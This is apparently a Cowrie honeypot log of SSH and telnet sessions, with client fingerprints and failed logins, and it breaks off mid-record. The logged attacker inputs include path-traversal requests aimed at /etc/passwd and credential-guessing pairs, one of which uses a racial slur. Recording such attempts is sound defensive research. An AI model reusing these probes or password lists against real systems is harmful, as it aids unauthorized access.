{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"142.251.156.119","dst_port":443,"ja4":"t12d4312h1_c7886603b240_d89d4c7b8e02","message":"JA4 fingerprint for forwarded TLS to 142.251.156.119:443: t12d4312h1_c7886603b240_d89d4c7b8e02","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:26.074514Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"142.251.156.119","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0c^\\xd4i(\\x10/o-O\\x96YC8\\xb8K\\x03\\xc5\\x93W\\xa3\\xe4\\xd4\"\\r\\xab\\xc2\\xbfo\\'\\xb5\\xa1 \\xbb\\xec\\xec\\xb0Z\\xd5\\xac*\\xf8=\\x99:\\xe5\\xccY\\x85\\xdcN\\x88\\x9a\\x15\\xf2]\\xe4\\x87\\xbf\\x99\\x13\\xae\\xceK\\x9e\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x02K\\x98\\xd2\\xb4\\xcd\\xbc\\xc8[\\\\*\\xb5H\\xcfK\\x81&\\x9a\\x9b\\xc4\\xd6\\xfb\\xf8?!\\x04\\x82\\xe2\\x01:L\\x1e\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 142.251.156.119:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x0c^\\xd4i(\\x10/o-O\\x96YC8\\xb8K\\x03\\xc5\\x93W\\xa3\\xe4\\xd4\"\\r\\xab\\xc2\\xbfo\\'\\xb5\\xa1 \\xbb\\xec\\xec\\xb0Z\\xd5\\xac*\\xf8=\\x99:\\xe5\\xccY\\x85\\xdcN\\x88\\x9a\\x15\\xf2]\\xe4\\x87\\xbf\\x99\\x13\\xae\\xceK\\x9e\\x00V\\x13\\x02\\x13\\x03\\x13\\x01\\xc0,\\xc00\\xc0+\\xc0/\\xcc\\xa9\\xcc\\xa8\\x00\\x9f\\x00\\x9e\\xcc\\xaa\\xc0\\xaf\\xc0\\xad\\xc0\\xae\\xc0\\xac\\xc0$\\xc0(\\xc0#\\xc0\\'\\xc0\\n\\xc0\\x14\\xc0\\t\\xc0\\x13\\xc0\\xa3\\xc0\\x9f\\xc0\\xa2\\xc0\\x9e\\x00k\\x00g\\x009\\x003\\x00\\x9d\\x00\\x9c\\xc0\\xa1\\xc0\\x9d\\xc0\\xa0\\xc0\\x9c\\x00=\\x00<\\x005\\x00/\\x00\\xff\\x01\\x00\\x01]\\x00\\x00\\x00\\x13\\x00\\x11\\x00\\x00\\x0ewww.google.com\\x00\\x0b\\x00\\x04\\x03\\x00\\x01\\x02\\x00\\n\\x00\\x0c\\x00\\n\\x00\\x1d\\x00\\x17\\x00\\x1e\\x00\\x19\\x00\\x18\\x00\\x10\\x00\\x0b\\x00\\t\\x08http/1.1\\x00\\x16\\x00\\x00\\x00\\x17\\x00\\x00\\x001\\x00\\x00\\x00\\r\\x00*\\x00(\\x04\\x03\\x05\\x03\\x06\\x03\\x08\\x07\\x08\\x08\\x08\\t\\x08\\n\\x08\\x0b\\x08\\x04\\x08\\x05\\x08\\x06\\x04\\x01\\x05\\x01\\x06\\x01\\x03\\x03\\x03\\x01\\x03\\x02\\x04\\x02\\x05\\x02\\x06\\x02\\x00+\\x00\\x05\\x04\\x03\\x04\\x03\\x03\\x00-\\x00\\x02\\x01\\x01\\x003\\x00&\\x00$\\x00\\x1d\\x00 \\x02K\\x98\\xd2\\xb4\\xcd\\xbc\\xc8[\\\\*\\xb5H\\xcfK\\x81&\\x9a\\x9b\\xc4\\xd6\\xfb\\xf8?!\\x04\\x82\\xe2\\x01:L\\x1e\\x00\\x15\\x00\\xa8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:26.080266Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:26.272649Z","src_ip":"77.90.185.17","session":"ab6f3277715f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.187.35.26","src_port":7170,"dst_ip":"10.17.0.5","dst_port":23,"session":"be8e9a16e71b","protocol":"telnet","message":"New connection: 5.187.35.26:7170 (10.17.0.5:23) [session: be8e9a16e71b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:56.557530Z"}
{"eventid":"cowrie.login.failed","username":"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:56.562351Z","src_ip":"5.187.35.26","session":"be8e9a16e71b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:56.565909Z","src_ip":"5.187.35.26","session":"be8e9a16e71b","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Connection: close","password":"","message":"login attempt [Connection: close/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:56.568766Z","src_ip":"5.187.35.26","session":"be8e9a16e71b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.08991718292236328,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:16:56.647318Z","src_ip":"5.187.35.26","session":"be8e9a16e71b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":47438,"dst_ip":"159.203.135.109","dst_port":22,"session":"fede66418f2a","protocol":"ssh","message":"New connection: 85.198.97.85:47438 (159.203.135.109:22) [session: fede66418f2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:17:37.178052Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:17:37.182622Z","src_ip":"85.198.97.85","session":"fede66418f2a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:17:37.354794Z","src_ip":"85.198.97.85","session":"fede66418f2a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root0","password":"root0","message":"login attempt [root0/root0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:17:37.730634Z","src_ip":"85.198.97.85","session":"fede66418f2a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:17:38.938724Z","src_ip":"85.198.97.85","session":"fede66418f2a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.187.35.26","src_port":22632,"dst_ip":"159.203.135.109","dst_port":23,"session":"4269949ba981","protocol":"telnet","message":"New connection: 5.187.35.26:22632 (159.203.135.109:23) [session: 4269949ba981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:18:51.000783Z"}
{"eventid":"cowrie.login.failed","username":"GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1","password":"Host: 159.203.135.109:23","message":"login attempt [GET /..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1/Host: 159.203.135.109:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:18:51.006243Z","src_ip":"5.187.35.26","session":"4269949ba981","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0","password":"Accept: */*","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:146.0) Gecko/20100101 Firefox/146.0/Accept: */*] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:18:51.010243Z","src_ip":"5.187.35.26","session":"4269949ba981","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"Connection: close","password":"","message":"login attempt [Connection: close/] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:18:51.014178Z","src_ip":"5.187.35.26","session":"4269949ba981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.09550738334655762,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:18:51.096193Z","src_ip":"5.187.35.26","session":"4269949ba981","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"113.22.135.152","src_port":47959,"dst_ip":"10.17.0.5","dst_port":23,"session":"b3e014a87728","protocol":"telnet","message":"New connection: 113.22.135.152:47959 (10.17.0.5:23) [session: b3e014a87728]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:18:58.274342Z"}
{"eventid":"cowrie.session.closed","duration":13.10437536239624,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:19:11.378580Z","src_ip":"113.22.135.152","session":"b3e014a87728","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.241.79.66","src_port":47146,"dst_ip":"159.203.135.109","dst_port":22,"session":"abf8ef8bc81b","protocol":"ssh","message":"New connection: 120.241.79.66:47146 (159.203.135.109:22) [session: abf8ef8bc81b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:22:24.328019Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.1","message":"Remote SSH version: SSH-2.0-libssh2_1.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:22:27.489760Z","src_ip":"120.241.79.66","session":"abf8ef8bc81b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:24:24.374946Z","src_ip":"120.241.79.66","session":"abf8ef8bc81b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":52873,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d985053aa9a","protocol":"ssh","message":"New connection: 2.57.121.25:52873 (159.203.135.109:22) [session: 6d985053aa9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:27:47.032804Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:27:47.037191Z","src_ip":"2.57.121.25","session":"6d985053aa9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:27:47.138155Z","src_ip":"2.57.121.25","session":"6d985053aa9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"origin","message":"login attempt [user/origin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:27:47.616999Z","src_ip":"2.57.121.25","session":"6d985053aa9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"omicron","message":"login attempt [user/omicron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:27:48.721823Z","src_ip":"2.57.121.25","session":"6d985053aa9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"oioioi","message":"login attempt [user/oioioi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:27:49.826197Z","src_ip":"2.57.121.25","session":"6d985053aa9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"niggaz","message":"login attempt [user/niggaz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:27:50.929616Z","src_ip":"2.57.121.25","session":"6d985053aa9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"nigeria","message":"login attempt [user/nigeria] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:27:52.033479Z","src_ip":"2.57.121.25","session":"6d985053aa9a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:27:53.138862Z","src_ip":"2.57.121.25","session":"6d985053aa9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":36110,"dst_ip":"10.17.0.5","dst_port":22,"session":"488c2281139e","protocol":"ssh","message":"New connection: 14.225.2.125:36110 (10.17.0.5:22) [session: 488c2281139e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:28:51.864051Z"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:28:52.142354Z","src_ip":"14.225.2.125","session":"488c2281139e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"14.225.2.125","src_port":36118,"dst_ip":"10.17.0.5","dst_port":22,"session":"b589530ecabc","protocol":"ssh","message":"New connection: 14.225.2.125:36118 (10.17.0.5:22) [session: b589530ecabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:28:52.412108Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:28:52.417580Z","src_ip":"14.225.2.125","session":"b589530ecabc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:28:52.691274Z","src_ip":"14.225.2.125","session":"b589530ecabc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hduser","password":"0","message":"login attempt [hduser/0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:28:53.510506Z","src_ip":"14.225.2.125","session":"b589530ecabc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:28:54.786386Z","src_ip":"14.225.2.125","session":"b589530ecabc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.243.151.30","src_port":59188,"dst_ip":"10.17.0.5","dst_port":22,"session":"07f76b9f2d90","protocol":"ssh","message":"New connection: 171.243.151.30:59188 (10.17.0.5:22) [session: 07f76b9f2d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:30:15.487203Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T12:30:15.494204Z","src_ip":"171.243.151.30","session":"07f76b9f2d90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa